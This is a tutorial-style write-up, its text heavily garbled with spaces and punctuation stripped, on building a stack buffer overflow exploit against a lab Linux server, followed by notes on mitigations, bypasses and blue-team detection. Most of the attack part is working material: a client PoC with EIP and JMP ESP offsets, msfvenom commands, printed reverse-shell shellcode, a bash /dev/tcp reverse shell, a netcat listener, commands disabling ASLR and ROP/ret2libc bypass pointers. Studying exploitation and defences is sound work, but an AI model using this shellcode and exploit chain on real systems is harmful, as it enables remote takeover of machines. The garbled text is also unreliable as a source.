3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

